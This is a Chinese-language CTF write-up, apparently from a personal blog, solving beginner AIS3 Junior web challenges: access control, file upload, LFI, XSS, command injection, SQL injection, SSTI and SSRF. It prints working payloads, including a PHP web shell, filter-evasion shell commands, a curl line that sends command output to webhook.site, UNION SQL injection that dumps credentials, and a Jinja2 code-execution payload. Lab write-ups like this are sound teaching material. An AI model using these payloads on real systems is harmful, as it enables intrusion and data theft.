
AIS3 Junior writeup

01 - Broken Access Control
BAC 01
進入網頁後,有個輸入框問你是誰
隨便輸入幾個名字,發現都是進入 user
這個路徑,並輸出 Welcome {name}!
嘗試更改路徑到 admin
AIS3_Junior{FirstBROKENAccessControl;)}
BAC 02
進入網頁後,可以看出他是個購物網站
將四樣商品點開,發現他們都是在 product
目錄下,依序為第 1
、2
、3
、5
、6
項
更改網址,看看沒擺出來的 編號4商品
結果竟然是在賣 FLAG,而且還不用錢!
AIS3_Junior{BroJustFoundBabyIDORVulnerability}
BAC 03
類似 BAC01 的頁面,不過前面的方法對它沒用
嘗試利用 Burpsuite 攔截封包,結果發現程式碼內有 FLAG
AIS3_Junior{BabyBRokenAccEssControoooooool}
02 - File Upload
FIL 01
一個可以上傳東西的網站
甚至可以上傳包含 <?php system($_GET['cmd']);?>
的 web shell
上傳完成後,進入 url/uploads/c3644_108.160.138.201.php
在網址後方接上 ?cmd={command}
,其中 {command}
可以插入任意指令
ls
發現這層目錄好像沒甚麼東西,
到前一層目錄看看 ({command}
=ls%20../
)
發現 FLAG 並印出 ({command}
=cat%20../FLAG
)
AIS3_Junior{FirstWEBSHELLXDDD}
FIL 02
與上一題類似的網頁,但它似乎不給上傳 php 檔
將檔案類型改為 image/jpg
,並送出修改過的封包內容
檔案上傳後,使用與前面一樣的方法,進入 url/uploads/c3644_108.160.138.201.php
。結果發現前一層目錄中也有 FLAG 存在,將其印出即可得到答案
AIS3_Junior{BabyUploadBypass}
03 - Local File Inclusion
LFI 01
一個登錄系統和一張貓咪圖片
該圖片網址為 url/include.php?GetType=file_get_contents&file=static/bitcoinCat.jpg
,可以判斷這張圖片是透過 php 存取的
透過 php 偽協議 php://filter/read=convert.base64-encode/resource=index.php
,可以將 index.php
的內容以 base64 編碼的方式讀取,解碼後即可還原出完整原始碼
發現管理員 帳號: admin
、 密碼: CATLOVEBITCOINMEOWMEOW
登入管理員帳號後,即可得到 FLAG
AIS3_Junior{php://filter/BabyPHPLFI.b64decode()}
LFI 02
檔案上傳後,存在 /tmp/c3644_108.160.138.201.php
中
先回到根目錄後並嘗試進入該目錄 url/post.php?form=/../../../../../../tmp/c3644_108.160.138.201.php
接上指令 &cmd=ls
,查看目錄中檔案
使用 &cmd={command}
,而非 ?cmd={command}
原因是前面已使用過 .php?form=
,而我們還需要再接上額外指令,所以將其它的指令用 &
連接
接上指令 &cmd=cat%20S3Cr3TFLAGGGGG
,查看 S3Cr3TFLAGGGGG
內容
AIS3_Junior{../../../../tmp/BADBAD.php?LFI=SUCCESS}
04 - Cross-Site Scripting
XSS 01
這個系統會問你是誰
發現原始碼中有 FLAG 這個變數
在輸入框中,輸入 <script>alert(FLAG)</script>
即可取得 FLAG
AIS3_Junior{XSSXSSXSSXSS}
05 - Command Injection
CMD 01
這個網頁可以確認 IP 狀態
在輸入的 IP 後接上指令。如 ;ls -al
,顯示如下
看看 FLAG 裡面存著甚麼
AIS3_Junior{BabyCommand;InjectionXDDDddddd}
CMD 02
這與上一題類似的網站
嘗試使用一樣的指令,但 ls
似乎被加進黑名單了
不過沒關係,我們可以利用 Spilt Evasion,將 ls
寫成 l$()s
,插入後發現指令可以執行了!
輸入 ;c$()at FLAG
,取得 FLAG 的內容
AIS3_Junior{niceWordBL$()ACKListEvasion;)}
CMD 03
與前兩題類似,但 分號
、空格
等字元似乎被加進黑名單過濾了
不過沒關係,我們可以透過 Blacklist Evasion 繞過黑名單過濾機制。
逃脫方法 | 原始字元 | 逃脫方式 |
---|---|---|
Spilt Evasion | cat |
c$()at |
Bash Operator | ; |
| |
Space Evasion | 空格 |
${IFS} |
將 ;cat FLAG
改為輸入 |c$()at${IFS}FLAG
AIS3_Junior{BashOperato|rEvasion${IFS}SUCC|ESSFUL|:DDDDD}
CMD 04
雖然與前面幾題長很像,但先前的指令對這題沒用
束手無策,只好試試看用 webhook 能不能撈到些資訊
透過curl 將數據傳至 webhook,並利用前面手法繞過驗證
|cu$()rl${IFS}-X${IFS}POST${IFS}https://webhook.site/your_UUID${IFS}-d${IFS}out$()put=$(l$()s)
ls
後,發現裡面有 ERRORCMDi_FLAG
檔案
將 ls
改為 cat ERRORCMDi_FLAG
,即可得到 FLAG
AIS3_Junior{E${IFS}RRORB3sed|$(CMDi)Succ3ss:DD}
CMD 05
與前一題類似,一樣先 ls
將資料夾檔案列出
同上題,將 ls
改為 cat BLindCMDiFLAG
後,即可得到 FLAG
AIS3_Junior{BROJust|curl%20-d%20$(l3akTheDATAT0outSideXDD)}
CMD 06
同上題,輸入 |c$()at${IFS}FLAG
即可取得FLAG
AIS3_Junior{ouo_hihi}
06 - SQL Injection
SQL 01
一個登入系統
在帳號欄位填入 admin' or 1==1 -- #
,將帳號設為 admin
並將後面判斷註解掉
AIS3_Junior{SQL'InjectionXDorD=D_--_-}
SQL 02
一個有輸入框的頁面
隨意輸入後,會進到此頁面
可以使用 UNION SELECT (num) #
來測試查詢的有效欄位數,當 (num) 填入 1
、1,2
、1,2,3
時,系統都報錯了。
而填入 1,2,3,4
時不再報錯,說明這個資料庫的查詢需要匹配四個欄位!
使用 UNION SELECT
搭配 group_concat(schema_name)
從 information_schema.schemata 中獲取所有資料庫名稱,
' UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata #
選定 ApexPredators 資料庫後,使用 UNION SELECT
及 group_concat(table_name)
從 information_schema.tables 中查詢該資料庫的所有表格名稱。
' UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema='ApexPredators' #
確認表格後,我對 ApexPredators 資料庫中的 user 表格進行查詢,利用 WHERE table_name 篩選表格及查詢欄位名稱
' UNION SELECT 1,group_concat(column_name),3,4 from information_schema.columns WHERE table_schema='ApexPredators' AND table_name='users' #
鎖定 ApexPredators.users 欄位,使用 UNION SELECT 1,username,isAdmin,password
提取帳號、密碼及是否為管理員等重要資訊
' UNION SELECT 1,username,isAdmin,password FROM ApexPredators.users #
從提取的資料中發現用戶 KubenBlisk 是管理員,使用該帳號密碼後成功登入系統即可取得 FLAG
AIS3_Junior{_BRO-DO_A--UNION_SELECTXDDD_--_-}
07 - Server-Side Template Injection
STI 01
有一個輸入框,輸入 1+1
會回傳2。
利用在網路上找到的payload
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls').read()
裡面有個 FLAG 檔案,我們可以稍微修改 payload,讓它印出 FLAG 內容
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat FLAG').read()
AIS3_Junior{._JinjaTWOOOO.__["SSTI]_.succ3ssXDD._}
STI 02
利用與上題同樣的payload,即可取得FLAG
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat FLAG').read()
AIS3_Junior{b4by__.filt3rEvasion.__Succ3ss}
08 - Server-Side Request Forgery
SRF 01
一個可以分析圖片的網站
先攔截看看封包內容
因為題目提到 FLAG 藏在 /app/FLAG
中,將 url 改為 /app/FLAG
後重新送出即可在原始碼中發現編碼過的字串
使用 base64 decode 後,即可得到 FLAG
AIS3_Junior{file://SSRF___XDDD}
SRF 02
與上一題類似的網站
題目雖然沒有說 FLAG 藏在哪裡,但 我通靈推測藏在 localhost 中
使用 base64 decode 後,即可得到 FLAG
AIS3_Junior{http://BROAccessLOCAL}
- Title: AIS3 Junior writeup
- Author: zichun
- Created at : 2024-08-16 00:00:00
- Updated at : 2024-08-20 11:50:44
- Link: https://zichun808.me/AIS3-Junior-writeup/
- License: This work is licensed under CC BY-NC-SA 4.0.